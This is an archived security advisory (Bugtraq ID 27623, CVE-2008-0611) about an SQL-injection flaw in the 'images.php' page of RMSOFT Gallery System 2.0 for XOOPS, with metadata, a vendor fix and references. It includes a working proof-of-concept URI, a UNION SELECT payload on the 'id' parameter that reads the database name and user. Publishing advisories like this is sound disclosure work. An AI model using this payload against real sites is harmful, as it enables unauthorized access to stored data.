RMSOFT Gallery System For XOOPS 'images.php' SQL Injection Vulnerability

Bugtraq ID:	27623
Class:	Input Validation Error
CVE:	CVE-2008-0611
Remote:	Yes
Local:	No
Published:	Feb 05 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	you_kn0w is credited with the discovery of this vulnerability.
Vulnerable:	RMSOFT Gallery System 2.0
Not Vulnerable:

RMSOFT Gallery System For XOOPS 'images.php' SQL Injection Vulnerability

RMSOFT Gallery System for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects RMSOFT Gallery System 2.0; other versions may also be vulnerable.

RMSOFT Gallery System For XOOPS 'images.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/modules/rmgs/images.php?q=user&id=1999/**/union/**/all/**/select/**/1,1,concat(database(),0x202D20,user()),1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0/*

RMSOFT Gallery System For XOOPS 'images.php' SQL Injection Vulnerability

Solution:
The vendor has re-released Gallery System 2.0 with a fix to address this issue. Please see the references for more information.

RMSOFT Gallery System For XOOPS 'images.php' SQL Injection Vulnerability

References:

• RMSOFT Gallery System 2.0 (images.php id) SQL Injection Vulnerability (you_kn0w)
  
• Corrección para Vulnerabilidad en Gallery System (RMSOFT)
  
• RMSOFT Gallery System 2.0 (RMSOFT)